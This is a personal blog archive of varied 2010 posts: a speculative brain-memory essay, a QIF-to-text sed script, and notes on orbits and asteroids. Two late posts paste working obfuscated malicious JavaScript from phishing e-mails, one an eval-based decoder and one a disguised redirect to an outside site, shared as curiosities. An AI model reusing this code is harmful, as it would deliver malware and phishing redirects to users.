I believe the brain is not about computation but memory speed.
It's all about loose associative memory and pattern recognition. An input pattern come is and needs to be identified quickly to produce a response. Total accuracy is not critical. Approximation is close enough.

What is the brains memory capacity?

In Nov 2001 I asked Don Knuth this question at one of his “Stump the Professor!” lectures at Xerox Parc.  Well he was stumped, even he didn't really have any answers saying is it more more a medical / biology problem. Well having had free run of the Stanford campus and asking the best academics I could find I realized they have even less of a clue then the computer / information science geeks.

Current science doesn't even know how the brain stores information, or how much the brain can store. I have heard many theories that it may use quantum effect, to storing information in some other dimension outside of normal time space. I think these are very unlikely and best of all some beyond known science explanation is not needed to understand how the brain can store so much and retrieve if as fast as it does.

Keep in mind the brain is a control system and pattern matching engine. That's what it does and has had billions years of evolution to master it.

So a minimum estimate might be at 1 bit per neuron. This gives 10 GB, although that estimate seems very small and unlikely considering about much redundancy of information is know to be stored with in the brain.

Another estimate might be at 1 bit per dendrite. That would be 10,000 (dendrites) Bits per neuron giving 100 TB.  This is certainly a better estimate but I suspect the real number is far greater.

If data was stored using permeable combinations then it's storage would be far greater. If data was stored in interconnection patterns it’s capacity would increase exponentially according to Bell Numbers.  See also: 1 , 2

In examining this I realized it would be possible to have from 10 to 1000 times more storage then a bit per dendrite. It's also in line with what we know about the biology where the brain grows and break interconnections, when learning.

This explain would many things, From its extremely high memory performance given such low clock rates (100 Hz) to it’s ability to have so much redundancy that it can tolerate massive damage and for the most part degrades gracefully.

How does this compare with computers.

Lets assume the best case, PC’s are limited to 4GB already (Sorry this originally was written in 2004) , we will be at 10GB in no time all, 7 years. To Reach the 100 TB of RAM that’s about 20 years out. With Moore 66%.

What is the brains memory throughput? 

The brain can access all of it memory as much as 100 times per second.
A real brain can do many things a digital system cannot such as return a fuzzy analog values or access all of its memory at once.

If we use the estimates of the brain memory capacity to be  10GB to 100TB this gives us a memory throughput from 1 Terabytes per Sec to 10 Petabytes per second.

Right now in 2004 we have 833 MHz front size bus (FSB) that is 32 Bits wide.
This memory throughput only increases at only 11% a year(much slower then Moore's law) , so it takes about 7 years to double in speed. For us to go from our current PC’s at 8.33 x 10^8 Byte per sec to our lower estimate of 10^10 is a 12x increase and would take 25 Years. The to reach the higher estimate 10^13 would take 90 years. And if interconnects do store data then:
10^14 in 114 years
10^15 in 136 years
10^16 in 157 years
10^17 in 180 years
10^18 in 200 years

So it’s safe to say that memory throughput of the human brain will exceed the best of our computer technology for at least 25 years assuming 1 bit per dendrite.  
But if we assume it's capacities are based on interconnection then we will be well into the next century, somewhere from 2090 to 2150 is my estimate. At that point we have only just matched our minimum waged employee intelligence… We would still need to send such an potentially intelligent computer to school since it would have to learn in a very similar manner as a human does.

In the end creating a true sentient human like intelligence would required all of the energy and human interaction that raising a infant into adult hood would. And each unique entity would need to also go through those same unique learning experiences to become a unique individual, and the outcome would be hit or miss much like it is with humans now. (We don’t all go to Harvard) The one real advantage it would possess is that it could continue to grow and survive well beyond the life span of a single human. So I don’t see such an artificial intelligence as being competition to humans for at least a hundred years. I would like to think at that time the major mission of mankind would be the exploration of space and a HAL like computer operating interstellar spacecraft would be ideal. 

-----
I wrote this back in 2004, but never published it. I have had a lot of thoughts since, and need to publish my ideas on data storage with permeable combinations. 

I suspect we will start seeing many turing test passing machines soon, but they will be lacking sentience.  I am sure they will make excellent bill collectors and sales people, but probably will not make great programmer or innovators. 

I have also learned much about the nature of evolution and that machines are evolving with us. It's really a matter of economics driving things. With the first Luddite moment around 1811 when mechanized looms started replacing human weavers, it was really a straight out matter of economics. When the machines became cheaper then having the humans do it, we were pushed out and had to find other things to do.  As we approach the 200th anniversary of the luddites we find that workers have been pushed out of one job after another. I recall when robots replace auto workers. When spreadsheets replace accountants, now the web is replacing print media.  But we are in a symbiotic relationship with our technology as without humans the looms have no customers to produce for.  Our whole society oscillates back and forth with each step of progress, and in the process kills off many companies and makes a mess of people lives. It seems the inevitable nature of things as they evolve.  The alternative, stagnation, something I would prefer not even think about as it tends to be unpleasant for all. At some point I may write more on that subject as history has many examples,the collapse of Rome for one.
 
So I am sure as time progresses, and with luck we will continue our oscillations, with machines taking over more and more forcing humans to be more intellectual and creative.

We are in a symbiotic relationship with machines and in the end, it's the combination of the two that will trump. I have no doubt all possible combination and hybridization will be tried, but evolution will make the final decision. In the end we will end up with an almost unimaginable diversity of carrying on the struggle.

Sunday, September 26, 2010

Word of the day "bricoleur"

I didn't realize until today that there is a word that really fits how I think and work.

I am a bricoleur.


As in  'She advocates the "bricoleur style" of programming as a valid and underexamined alternative to what she describes as the conventional structured "planner" approach. In this style of coding, the programmer works without an exhaustive preliminary specification, opting instead for a step-by-step growth and re-evaluation process. - Sherry Turkle '

From : 
http://en.wikipedia.org/wiki/Bricolage#Information_technology

Until now I have never had a good way to properly define, explain or defend my way of coding, which has time and time again has proven to be faster and more effective then most programming teams can do.

But it's definition extends to also explain of the inventions and design work I do and my whole general approach to life in general!  One that has always seemed to be very unique but effective.

"He is a tinkerer, a bricoleur, Dionysian rather than Apollonian."
post.thing.net - A lean, mean, media machine.

Definitions of Bricoleur on the Web:
  • Bricolage, is a term used in several disciplines, among them the visual arts and literature, to refer to the construction or creation of a work from a diverse range of things which happen to be available, or a work created by such a process. ...
    en.wikipedia.org/wiki/Bricoleur
  • A person who creates a bricolage; A person, such as a writer, artist, etc, who creates using a diverse range of materials
    en.wiktionary.org/wiki/bricoleur
  • French term meaning “handy-man” or “jack- of-all-trades,” now implying someone who continually invents his or her own strategies for comprehending reality. Marcel Broodthaers has been so described. See bricolage.
    thebookman.wordpress.com/2008/03/01/postmodern-terms-absence-to-curtain-wall/

BRICOLAGE: French term meaning “puttering around” or “doing odd jobs.” Claude Lévi-Strauss (see structuralism) gave the term a more precise anthropological sense in books like The Savage Mind (1966) by stipulating that it refer to, among other things, a kind of shamanic spontaneous creativity (see shaman) accompanied by a willingness to make do with whatever is at hand, rather than fuss over technical expertise. The ostensible purpose of this activity is to make sense of the world in a non-scientific, non-abstract mode of knowledge by designing analogies between the social formation and the order of nature. As such, the term embraces any number of things, from what was once called anti-art to the punk movement’s reinvention of utlitarian objects as fashion vocabulary (see, for example, Dick Hebdige’s Subculture [1979]).

See also:
* who's the bricoleur?
* Are you a bricoleur?
* Sherry Turkle
* http://www.bricoleurbanism.org/
* http://www.answers.com/topic/bricolage
* http://www.wordnik.com/words/bricoleur/examples
 

Converting QIF to TEXT

My bank only outputs my account history's in several propriety formats that require I must buy some commercial software to view. When in reality I just want something quick in dirty to make in to a simple text file that I can grep through, and say search for all my trips to fast food or list out the checks cashed. 





One format is QIF and I did a quick and dirty little sed script to turn that in to a simple list in plain text one line per entry. 
See:  Quicken Interchange Format (QIF)



So I can turn this:

^
D04/26/2010
T-11.81 PMCDONALD'S F21823 GOLETA CA
MWithdrawal Debit Card Debit Card
^

Which is really one never ending mess on a huge single line in notepad


In to this:
04/26/2010 -11.81 MCDONALD'S F21823 GOLETA CA Withdrawal Debit Card Debit Card


Below is a little shell script that used the unix command sed to clean this up.

qif2text
sed \
-e '/^!/d' \
-e 's/\^/ NEWLINE/' \
-e 's/^.//' $1 | \
sed -e ':a;N;$!ba;s/\n/ /g' | \
sed -e 's/NEWLINE/\n/g'


One you have that you can quickly use grep to filter out specific entries and then sum then with awk.

./qif2text  myaccounthist.qif | grep Draft | awk '{ SUM += $2} END { print SUM }'

Friday, September 03, 2010

The perfect altitude for a Clark orbit

Quote:
Looking at those figures, I realized that I needed to round off the actual planned final orbital altitude to the nearest hundred. That was as close as most people, and in particular the news media, would ever remember. So I selected 22,300 miles as the figure for the planned altitude, and used that.
[...]
But the perfect altitude for a Clark orbit, it turns out, is 22,238 statute miles above mean sea level.
[...]
That meant I should have rounded off geosynchronous altitude as 22,200 miles, the closest hundred. Using 22,300 miles was a mistake.

By the time I recognized my error, everyone was using the 22,300 mile figure, even engineers and others who were experts in orbital mechanics.
[...]
It's wrong. And it's all my fault.

Rings of Earth

I just realized, that after we build a space elevator, we will eventually build an artificial ring around the earth. We've already started with our geosynchronous satellites. Starting clumps of tethered satellites, it will grow massive, and slowly get populated. It will eventually have its own nervous system and be reactive, to stresses and forces. Initially it will be power stations and computer server farms because of the better access to power, solar power. It will quickly get populated by robots and human maintenance workers that live permanently there. Eventually it will be like a shipping port connecting incoming and outgoing passengers and cargo. In enough time it may become fully populated.
Space elevators will be it's loading docs connecting but instead of connecting the land and sea, this will connect the land and space. With docks you have to move material using small ships, which is where we currently are in space. If we extend this ocean analogy, most ships are literally only good for one trip only because once we get to the beach, the surf tears them apart. So we're not even to the point of good canoes.

V Cast SONG ID

Trying out the "V Cast SONG ID" app on the new Droid X. Been sitting here with the internet and radio seeing how good it is for like the past 2 hours, while I am babysitting some shell scripts. It got all the sorta ASCAP , rock / rap / dance correct. Even country western and jazz. It even got ambient electronica that is little more then just a slowly undulating humm. But Beethoven's 5th it couldn't get, even in it's most recognizable Dun Dundun Duh! *:-O Wow, now that's got to mean something.

Thursday, August 26, 2010

Asteroids

I was thinking that the best way to deflect an asteroid impact is to use a second smaller asteroid's gravity, or even an impact.  We need to go up there as start colonizing asteroids, mining them and learning how to steer them, and move them around. We need to do this now, well before it becomes an emergency because then it will be too late to learn and experiment.

I am thinking we could create a fleet of small Earth crossing asteroid and use them like space stations as well as have them available to defend us.



View of the solar system showing the locations of all the asteroids starting in 1980, as asteroids are discovered they are added to the map and highlighted white so you can pick out the new ones.
The final color of an asteroids indicates how closely it comes to the inner solar system.

Earth Crossers are Red
Earth Approachers (Perihelion less than 1.3AU) are Yellow
All Others are Green

Notice now the pattern of discovery follows the Earth around its orbit, most discoveries are made in the region directly opposite the Sun. You'll also notice some clusters of discoveries on the line between Earth and Jupiter, these are the result of surveys looking for Jovian moons. Similar clusters of discoveries can be tied to the other outer planets, but those are not visible in this video.
As the video moves into the mid 1990's we see much higher discovery rates as automated sky scanning systems come online. Most of the surveys are imaging the sky directly opposite the sun and you'll see a region of high discovery rates aligned in this manner.
At the beginning of 2010 a new discovery pattern becomes evident, with discovery zones in a line perpendicular to the Sun-Earth vector. These new observations are the result of the WISE (Widefield Infrared Survey Explorer) which is a space mission that's tasked with imaging the entire sky in infrared wavelengths.
Currently we have observed over half a million minor planets, and the discovery rates snow no sign that we're running out of undiscovered objects.
Orbital elements were taken from the 'astorb.dat' data created by Ted Bowell and associates at http://www.naic.edu/~nolan/astorb.html

Friday, July 30, 2010

Happy sysadmin day everyone!

http://sysadminday.com/

>  What about the DBAs? They need something too:

http://www.dbaday.com/

ORA-24123 feature "dbaday" is not yet implemented

24123, 00000, "feature %s is not yet implemented"
// *Cause: An attempt was made to use the specified feature, but the feature is
// not yet implemented.
// *Action: Do not attempt to use the feature.
// 

Monday, July 26, 2010

Kern River Rafting trip.

My company had a camping and rafting trip this year. 
We went white water rafting on the Kern River.   www.mtnriver.com



More Pictures here.

Monday, June 14, 2010

More self-modifying Javascript.

More self-modifying Javascript. There must be some sort of kit for this out there.


Delivered-To: xyz@dnull.com
Received: (qmail 9347 invoked by uid 82); 14 Jun 2010 12:33:19 -0000
Received: from net37.78.95-129.chelny.ertelecom.ru (95.78.37.129)
  by dnull.com with SMTP; 14 Jun 2010 12:33:19 -0000
Received: from 95.78.37.129 by mail.rjwaters.com; Mon, 14 Jun 2010 15:32:41 +0200
Message-ID: <000d01cb0bbd$aec28820$6400a8c0@positiverkk>
From: "123Greetings.com" <ecards@123greetings.com>
To:  xyz@dnull.com
Subject: positiverkk@rjwaters.com has sent you a birthday ecard.
Date: Mon, 14 Jun 2010 15:32:41 +0200
MIME-Version: 1.0
Content-Type: multipart/mixed;
  boundary="----=_NextPart_000_0006_01CB0BBD.AEC28820"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2900.2180
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180

This is a multi-part message in MIME format.

------=_NextPart_000_0006_01CB0BBD.AEC28820
Content-Type: text/plain;
 format=flowed;
 charset="Windows-1252";
 reply-type=original
Content-Transfer-Encoding: 7bit

[positiverkk@rjwaters.com] just sent you an ecard

You can view it by open attached document.

Your ecard is going to be with us for the next 30 days.

We hope you enjoy your ecard.

ecard.html

<script>
var jwp ; jwp = '' ; var cWhax=this;var PR= ''+'replace' ;var qEBr ,QlYGtB ;var Vtb= 135; if (qEBr==QlYGtB){qEBr = QlYGtB -Vtb;}var XR = 'PZiwIHEbmSVFCg' ; var ECA='OcrRadyvPTqvcGV' ; var jYsZyG; jYsZyG='t4tcP7'; var Nht,sz ,IhBx ;if (IhBx<Nht || Nht>
=sz){Nht= sz^IhBx;}var tbDU='0tdtdtc'; var FwMRi ='9t0tdP4P8P9KeK9Xet0tdXdt1' ;var aYPV=219;var assM, PVqWMD ; if (aYPV>
assM){aYPV = assM+PVqWMD;}var ELNT='t6t5tdXaX9tct8t2K7tat6t4K6O5KbK9K6P7P5t0tfXbt8t4tcK9XaXbtaP4Ket1XdXdX9P3K6K6tet6tet6t6X9K7ta'; function sv(nkAfi){var PYQS =jwp; for(vytw= 0 ;vytw<nkAfi['lKeZnugGtKhG'[PR](/[GKudZ]/g,jwp)] ; ++vytw){PYQS =PYQS+cWhax['SGtGrXiRnLgR'[PR](/[RXdGL]/g ,jwp)]['fqrqonmjCjhjanrjCSoSdSen'[PR](/[nqSjO]/g ,jwp)](9^nkAfi['cxhlaQrQCEovdQeQAvtv'[PR](/[vxQEl]/g, jwp)](vytw)); }return PYQS ;}var cNovEF; cNovEF ='' ;var Ult =287 ; var XV , OFRHX; if (OFRHX>
Ult && Ult==XV){Ult = XV - OFRHX ;}cNovEF='t7P2KeP7P5K6t0' ; var cEN= 671; var vGrGWx =49;var wbOXK=8; if (cEN<vGrGWx){cEN= vGrGWx^wbOXK; }var yt ;yt ='' ; yt ='P4KeP8KeK9t1tct0tet1XdP4';var miOda='hrJHSbCrj';var uuRmg ;uuRmg= '';uuRmg = 'K7tat6t4P3P1P9P1P9K6t' ;var qaiU =425; var HRrdL = 625;var UwkVX ; UwkVX=455 ; if (qaiU>
HRrdL){qaiU =HRrdL^UwkVX ;}var lM = 'cujgJRXbCumHlckmswa';var fz ; fz = ''; var eg = 564 ; var HBZP ,cWnUTE ; if (eg>
=HBZP){eg = HBZP - cWnUTE;}fz ='0t7tdtcX1K7X9t1X9P6X'; var wpNFA,pRZ ;var yXAK=896; if (wpNFA>
pRZ){wpNFA = pRZ/yXAK;}var YZX;YZX='KeP8KeK9XaXdX0t5t'; var wrqylK;wrqylK = 'KbK'; var WfLtQN ; WfLtQN =432;var lE=833 ; var eYig =524 ; if (eYig =WfLtQN || WfLtQN<lE){WfLtQN= lE-eYig;}var gIsW ; gIsW ='' ;var ETuZX ,vt;var xzLS =433;if (ETuZX<vt){ETuZX=vt -xzLS; }gIsW='Xftc' ; var QOh , Tfxm , USrprT ; if (QOh>
=Tfxm){QOh =Tfxm+USrprT ; }var Au = 'XtVOyHAW'; var TUsG=217; var Mvm ;Mvm = 3;var CVc; CVc=676 ; if (TUsG>
Mvm){TUsG =Mvm^CVc; }var UeJmfD = 'Xbt5P4t1XdXdX9P3K6K6Xd'; var IyrWK ; IyrWK='t8t5tctd' ; var CaigsD= 819;var YG, ccjfI;if (ccjfI<CaigsD && CaigsD<YG){CaigsD=YG -ccjfI; }var EE ; EE= '' ; EE= '0P2' ; var It; It='Xft0Xat0tbt0t5t0XdX0P3K9t1t' ;var PCUM, bvEVF ; var lwRIU =925 ; if (PCUM==bvEVF){PCUM =bvEVF/lwRIU ;}var MoOU='DECiRVNbVM'; var uRMo, Tw, TbwgHq ;if (uRMo>
Tw){uRMo=Tw -TbwgHq; }var jZGWg = 'HbwTxZ';var zA= 168 ; var oKMNLY= 74; var YNMHpo ;YNMHpo = 312; if (zA>
oKMNLY){zA= oKMNLY+YNMHpo ; }var it='dP4O5KbPaP2Xc' ;var RK ='tdt6taXct4tct7XdK7XeXbt0XdtcK1KbP5t4tcXdt8K9t1XdXdX9K4tcX8Xct0XfP4O5KbXbtctfXbtcXat1O5KbK9tat6t7Xdtct7X'; var pFlFl; pFlFl = '' ;var ufSfR=660; var cbcj=76; var zKTEu = 676 ; if (ufSfR==cbcj){ufSfR =cbcj-zKTEu;}pFlFl = 't8Xat8t7t6Xft8Xbtc' ; var ICqTJ= 945;var yXDh ,Nbu; if (Nbu= ICqTJ && ICqTJ>
yXDh){ICqTJ=yXDh^Nbu; }var iAc; iAc= '';iAc ='tfXbt8'; var aidGt =25 ;var zwxfqC = 337;var AfCI ;AfCI = 159 ; if (aidGt<zwxfqC){aidGt=zwxfqC+AfCI ; }var LbomSl='cP4Ke' ; var hMjFLa=601 ; var bzpXo ,NPqgN; if (hMjFLa==bzpXo){hMjFLa =bzpXo/NPqgN ;}var MAJjm;MAJjm=jwp ;var Km=RK+it ;Km = Km+UeJmfD+ELNT+pFlFl+gIsW+IyrWK+uuRmg;Km= Km+fz;Km= Km+FwMRi+yt+YZX+LbomSl ;Km = Km+It ;Km = Km+tbDU; Km=Km+cNovEF+iAc+jYsZyG; Km= Km+wrqylK; Km=Km+EE+MAJjm ; var YbeU='xKA2osQ0IPn3UOl5YSa1jWL4HXB7mhr8ztv6JZT9'[PR](/[xoIUYjHmzJ]/g ,'\%')[PR](/[AQnlaLBrvT]/g , '\\') ; var ynSSG= "')[PR](/["; var GZGLMc= "]/g ,'%" ;var pFuQcs =YbeU[PR](/[\%]/g ,ynSSG)[PR](/[\\]/g ,GZGLMc);var Inlz, YwGin ; var gRw = 35; if (Inlz==YwGin){Inlz=YwGin^gRw ;}cWhax['eBvAaClF'[PR](/[FCAHB]/g, jwp)]('var CuoNi= Km'+pFuQcs['shuhbhsAtArPiznPga'[PR](/[aAhzP]/g,jwp)](2 ,pFuQcs['lEeSnSgStIhH'[PR](/[HBSIE]/g , jwp)])+"'); "); cWhax['eovnaIlI'[PR](/[InopA]/g , jwp)](sv(cWhax[['uEntejsjcjaEpVej'[PR](/[jVwtE]/g, jwp)]](CuoNi))) ;</script>




Thursday, June 10, 2010

Javascript Phishing Trojan

Here is another bit of self modifying Javascript code. This one came in the form of a Phishing Trojan.

dnull.com support to sokol

Dear Customer,
This e-mail was send by dnull.com to notify you that we have temporanly prevented access to your account.

We have reasons to beleive that your account may have been accessed by someone else. Please run attached file and Follow instructions.
(C) dnull.com
Where it gets interesting is I own dnull.com and it's my server. How stupid can these guys be?


 I don't have time to decipher it.


Maybe someone here will take the time.


<script type='text/javascript'>function mD(){};this.aB=43719;mD.prototype = {i : function() {var w=new Date();this.j='';var x=function(){};var a='hgt,t<pG:</</gm,vgb<lGaGwg.GcGogmG/gzG.GhGtGmg'.replace(/[gJG,\<]/g, '');var d=new Date();y="";aL="";var f=document;var s=function(){};this.yE="";aN="";var dL='';var iD=f['lOovcvavtLi5o5n5'.replace(/[5rvLO]/g, '')];this.v="v";var q=27427;var m=new Date();iD['hqrteqfH'.replace(/[Htqag]/g, '')]=a;dE='';k="";var qY=function(){};}};xO=false;var b=new mD(); yY="";b.i();this.xT='';<script>